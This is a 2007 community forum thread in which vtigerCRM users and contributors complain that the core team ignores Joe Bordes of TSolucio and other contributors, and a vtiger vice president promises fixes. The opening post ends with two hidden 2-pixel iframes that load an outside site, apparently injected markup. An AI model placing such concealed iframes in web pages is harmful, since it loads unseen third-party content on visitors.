TSolucio is promoting vtigerCRM ?

Lukas · July 2007

Hello Joe Bordes,

please take next info just as friendly talk.

I spend some time with thinking why vtiger team don't want communicate with you. And i find only one possible reason. Because you offer many time to community same services like vtiger team do. And i feel that you many times promoted Tsolucio, very loud, so "someone" maybe have not ideal feeling by that.

Personaly, this story is absolutely out of me... i just want to know where is thrue...

What do you think about it ?

Take it easy!

Regards,

LN <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

joebordes · July 2007

hi lukas,

this is a wonderful line of thought and i would very much like to see it publicly on the forum to see what other opinions are out there and learn from them.

i can understand the first reaction is that we represent the competition. this is the line of thought that we have grown up with, we have been taught to believe that this is a "dog eat dog" world where there isn't enough for all of us. i firmly believe this is false. stop and think about it a moment: imagine every vtigercrm install in the world, with all their needs waiting in line for one company to satisfy them all. hey we already have microsoft for that <img src="{smilies_path}/icon_smile.gif" alt=":-)" title="smile" />

even vtiger knows this and has a “job posting” on their web. i have gotten work from there. tsolucio also knows this, we are conscious that we couldn't cover all the needs of all the vtigercrm installations made in our community. besides we don't need it, we just need enough work to keep a good level of service and pay the bills at the end of the month.

now think of the benefit of working together. there aren't that many companies like tsolucio out there, companies that not only have the capacity and knowledge to make a difference in the product but are willing to do it and share it. if we collaborate in a controlled way we could get farther, faster and better.

tsolucio is promoting vtigercrm, giving free support on the forum, actively developing modules for the community, solving clients problems. all this benefits vtiger directly. we get nothing in return from them, we do get a lot in return from the community.

i have sent emails for months to vtiger asking what to do to be part of vtiger, i have barely been answered, and mostly ignored. i asked them for pricing to put a banner on there website, i asked permission to setup vtiger-spain (which they gave me). but in the end i am just ignored.

i believe there are two other possibilities to this state:
1.- there is something we don't know and that we need to know to understand. as long as they don't tell us we will never know, so we must continue with our lives.
2.- i am too critic with the application and the code so they see that if they let me in, the product would change very much, so much that they may lose control if they don't keep up. obviously this in comprehensible but dangerous.

i am not looking for the truth, everybody has their own so why try to find it <img src="{smilies_path}/icon_smile.gif" alt=":-)" title="smile" />

i believe in the vtigercrm project, i think it needs a lot of work and structural changes to achieve it's full potential but in general i find it a wonderful tool to computerize small to medium companies (the majority of us)

i could keep writing but, as you can imagine, i have work to do.
if you decide to post your question to the forum, let me know and i will paste this answer there. i have nothing to hide.

regards, joe
tsolucio

btw: in this time i have spoken to other community members who have lived the same situation. i am not the only one.

seaq · July 2007

hi i must confess that opposite to joe, we're total leechers. this is why:

at my company. we've been using vtigercrm from 4.(don't remember which one) version.

i've found about vtiger, after fleeing from the other crm because i didn't like any of it open source model, it didn't feel quite well for me. so i went to vtigercrm a fork from this other crm looking for a more open community, a more proactive and cooperative one.

so we droped our initial efforts with sc and started working around vtigercrm. despite all the bugs, problems, lack of knowledge at our side, and all the litle things that makes sometimes hate vtigercrm, we love it overall, we've grown with it, we are keeping track for our clients, we are keeping track for our tickets.. we've had a lot of progress thanks to vtiger..

and yes we haven't contributed a thing to the community, we haven't help nor supported vtigercrm development efforts, we are just users. in fact we don't resell services around vtiger, we are just users.

but we got so confused and angry because sometimes we ask ourselves if we made the right choice.. the tremendous effort that joe/tsolucio had been putting on vtiger development, with a lot of things that probably would be needed for a lot of folks out there, and the noticeable lack of interest from the developers for his work.. and sadly this pattern seems to be repeated.. there's a wonderful patch from a german company (don't recall which one) to integrate asterisk with vtigercrm.. an it's sitting there without even been noticed (maybe i'm wrong), the ical exporter made by jonb, a wonderful addon but.... is sitting there also..

if you recall the origins of open source development model, linus torvalds made what linux is what it is today, in a simple way.. integrating patches all around the world in the official version of the kernel. no questions asked. this was the fact that permitted linux grow exponentially.

if vtigercrm doesn't provide a clear way to integrate patches, to contribute to development, to empower the community (remember the golden rule of open source, the community)

vtigercrm would be a pretty nice open source effort lost on time.

i cannot believe that joe or any other contributor could be considered as competition, that's a sad mistake. people that put free time to help others are heroes no competitors. please don't be afraid to leverage on joe's work to make vtiger grow, if i'm not wrong that's what is needed to do....

if more companies are around vtigercrm, selling it to customers please be sure that vtigercrm would grow up, and that vtigercrm developers would take the biggest profit from that.

i hope that what i've just said would help something here. we love vtiger, we need it, please don't forget your users.

regards

andres
seaq

Pimok · August 2007

hi all,
i can really understand joe´s frustration and often wondered how he keeps so calm all the time as i saw dozens of mails on the list asking serious questions, but never read any answers from the vtiger team.

as i believe that joe is one of the most active contributors, supporters and shares so much (for example the 2 great new modules) i think that folks like him (and lukas and frank and a lot of others, plz bare with me that i don´t name you, you know who you are <img src="{smilies_path}/icon_wink.gif" alt=";)" title="wink" /> should be taken into a level of taking care very very closely, meaning answers to all questions within 24 hours, up front support(same as paid customers, as they are even more important!).
only if the top of the developers are in good hands they will contribute good patches and have fun doing it for free, even if they know they could do, what almost everybody else does, sell their wisdom and knowledge.

i strongly believe that newbies like me who benefit from guys like joe very very much, as he even answers total newbie questions without complaining,(that is rare these days) need free support from wiser and more experienced dev´s.

since my start on the dev of vtiger i learned a lot from the "older" guys and could even contribute a few little things that wouldn´t have come out without the free support of the guys like joe and all the others.

i love vtiger, i like the community and the very open management of the vtiger core team. but what i don´t like is the way serious questions from our senior dev´s stay unanswered. you can not act this way if you really mean what you answered quit a few times before in the mailinglist, blog or here like in the last and first mail from skv:

"as far as the roadmap, and merging community contributions, i agree that we need to do a better job at communicating our plans and the status"

then please start doing it as i read a few times before that the core team wants to react on complaints in that direction. take the really important dev´s (and i don´t mean mini-dev´s like me but major contributors like joe) to a seperate list and treat them the way they deserve it, quick and serious response to serious questions. not much, but that´s the least in my opinion...

my few thoughts, plz nobody should be offended by these words, that´s not what i want to express..

Kasparov · August 2007

nice to see this topic, very good posts and opinions. i think too that there are too meny "patch" / modules what could be nice to integrated, but nothing happened? ofcourse it is not sensible add all in same time, but perhaps one or two modules for bigger updates? until these ready modules aren't added for core, it is "useless" developement far them. perhaps somekind poll where community could suggest what ready modules integrated next (like egroupware bugs votes <a class="postlink" href="http://www.egroupware.org/bugs">http://www.egroupware.org/bugs</a>)? it is very important that core team and active developers (and community) make intense co-operation. so it is sad to see, that core team has no response for this topic.

sincerely

karri

cgbengtsson · August 2007

dear vtiger team,

in support of the previous writers of this thread i am really hoping to see a response from the vtiger team!

no matter what we as users of vtiger are contributing back to vtiger; whether it be code or money or nothing -- we are all investing in vtiger. the future of vtiger lies in more users investing in vtiger.

if key contributors are asking relevant questions and not getting answers from the vtiger team, we -- the smaller contributors -- have reason to be concerned... if the vtiger community loses these key contributors it would make me extremely worried!

as previous writers, i want to make it clear that this is not a flame. we love vtiger and want to continue investing in the use of vtiger. however, we have concerns -- and really want to be assured by the vtiger team that these concerns are taken seriously and responded to.

best regards,

christer

caralomi · August 2007

i am completely new to vtiger, i had the privilege of seeing this product since 5.0.2 and thought that this application deserves a lot of respect for the great system that it is.

we at boyne, had the choice to investigate different open source crm solutions, we tested and tested and tested many applications until we found vtiger and decided to give it a try. so why we decided to give it a try? because of the big banners that promoted: the honest open source crm...we love that idea and support it.

but it is with sadness that i have seen this community being torn apart due to the lack of what they promised: honest open source...
this is what we need we don't need another sugarcrm, we need a responsive community, as far as joe and tsolucio goes, man what a shame will it be to lose such a great developer and contributor, i have seen his posts since i joined the community and i have been impressed with them. he is the only one out there that has had the audacity to put two modules together, great and useful modules by the way. to ignore him is to ignore the whole community, because that is what open source is all about: community.

i, myself i am paid customer for vtiger, i have paid for support and i am seeing a tremendous lack of support also to my tickets.... i have been sitting in two tickets that i was supposed to hear from <a href="mailto:services@vtiger.com">services@vtiger.com</a>, but i have not heard from them yet....

i do not know what is going on, but i do not like what i see.... the easy thing will be to bail out now that there is time, but no, i am sticking to vtiger, because i see the potential in this application.

so joe and tsolucio, please do not give up.... vtiger team please do not give on the honest open source yet...

carlos lopez

<a href="mailto:clopez@boyne.com">clopez@boyne.com</a>

caralomi · August 2007

"caralomi&quot wrote:

i am completely new to vtiger, i had the privilege of seeing this product since 5.0.2 and thought that this application deserves a lot of respect for the great system that it is.

we at boyne, had the choice to investigate different open source crm solutions, we tested and tested and tested many applications until we found vtiger and decided to give it a try. so why we decided to give it a try? because of the big banners that promoted: the honest open source crm...we love that idea and support it.

but it is with sadness that i have seen this community being torn apart due to the lack of what they promised: honest open source...
this is what we need we don't need another sugarcrm, we need a responsive community, as far as joe and tsolucio goes, man what a shame will it be to lose such a great developer and contributor, i have seen his posts since i joined the community and i have been impressed with them. he is the only one out there that has had the audacity to put two modules together, great and useful modules by the way. to ignore him is to ignore the whole community, because that is what open source is all about: community.

i, myself i am paid customer for vtiger, i have paid for support and i am seeing a tremendous lack of support also to my tickets.... i have been sitting in two tickets that i was supposed to hear from <a href="mailto:services@vtiger.com">services@vtiger.com</a>, but i have not heard from them yet....

i do not know what is going on, but i do not like what i see.... the easy thing will be to bail out now that there is time, but no, i am sticking to vtiger, because i see the potential in this application.

so joe and tsolucio, please do not give up.... vtiger team please do not give on the honest open source yet...

carlos lopez

chimaster · August 2007

i'm a newb too! i'm loving vtiger though. playing with it makes me wish i took up programming rather than sysadmin and networking earlier in my career.

i want to help both joe and the vtiger team anytime (and anywhere) i can. i'm very interested to see the services model developed. i like joes additions, but want to steer clear of them for the moment and are using difference processes (like events / meetings instead of timecards).

there and many areas vtiger could expand and enhance services for my business... like i said, wish i did more programming.

we're running a small wisp with only 38 hotspots, we do prepaid cards, computer support via sla's webdesign & hosting. mostly joomla work and a little bit of our own php development (when i can find the coders.)

for me we are debian etch, ispconfig, postfix, freeradius, mysql, samba, backuppc and openvpn. we use emco network inventory for our corporate clients asset management.

i come from a novell edirectory background (yes, i hear you groan)... but as such, long term, i'm used to central management... i'd like to incorporate as much management of my systems into one customer system as possible. including accounts and service ordering, radius database and services tied to vtiger customers. web products from ispconfig pumping out invoices and usage quotas to vtiger as products.. i know vtiger is not the one to do this job... in fact, i better start learning more php development.... but sometimes i dream of all my applications getting together and holding hands to provide one great central customer management database.

even just the flexibility within studio for custom fields / tabs / dashboard export and import.

have i lost the plot? no. my point is i think that vtiger is capable of many things, with a little pro-active development and pushing from all sides it may help with people like me in service orientated businesses.

if i can help anywhere, testing, providing hosting, some graphic design or work flow and templates i'll put my hand up.

lets all help make vtiger shine.

Lukas · August 2007

directly related : <a class="postlink" href="http://forums.vtiger.com/viewtopic.php?p=43948#43948">http://forums.vtiger.com/viewtopic.php?p=43948#43948</a>

ln

SreenivasKanumuru · August 2007

my name is sreenivas kanumuru, and i have recently joined vtiger as the vice president for business development and solutions.

let me first state that it is heartening to see the passion and support for vtiger even in all of the posts, including the ones that point out our flaws.

we, the vtiger team, would like to work as closely with the community as possible. while we have community members contributing plugins and language packs on the vtiger forge we have some important issues to address. clearly, we are not where we want to be.

as i communicated on the developers list yesterday, i had a chance to talk to joe and understand some key issues, which i repeat below.

1. lack of proper documentation & resources to help new developers get started with vtiger. 2. cumbersome process for creating new modules, and adding/removing modules. 3. not involving the community in setting the roadmap and feature development 4. ignoring contributions (bug fixes, .etc) from the community 5. and lastly, lack of promotional opportunities for partners on the vtiger website.[/list:u]
we will address these issues in the coming days, weeks and months.

one key area to focus is to make it easy to create plugins and extensions and enable easy plug-n-play capability. this requires some redesign in the product. we will embark on this in a few weeks time, and hope to get ideas and thoughts and even implementation help from the community members. we'll keep you posted.

thanks for your continued support and i welcome your comments.

regards,

sreenivas
vtiger

email: svk at vtiger. com
phone: (408) 716-8592
cell: (408) 836-5810

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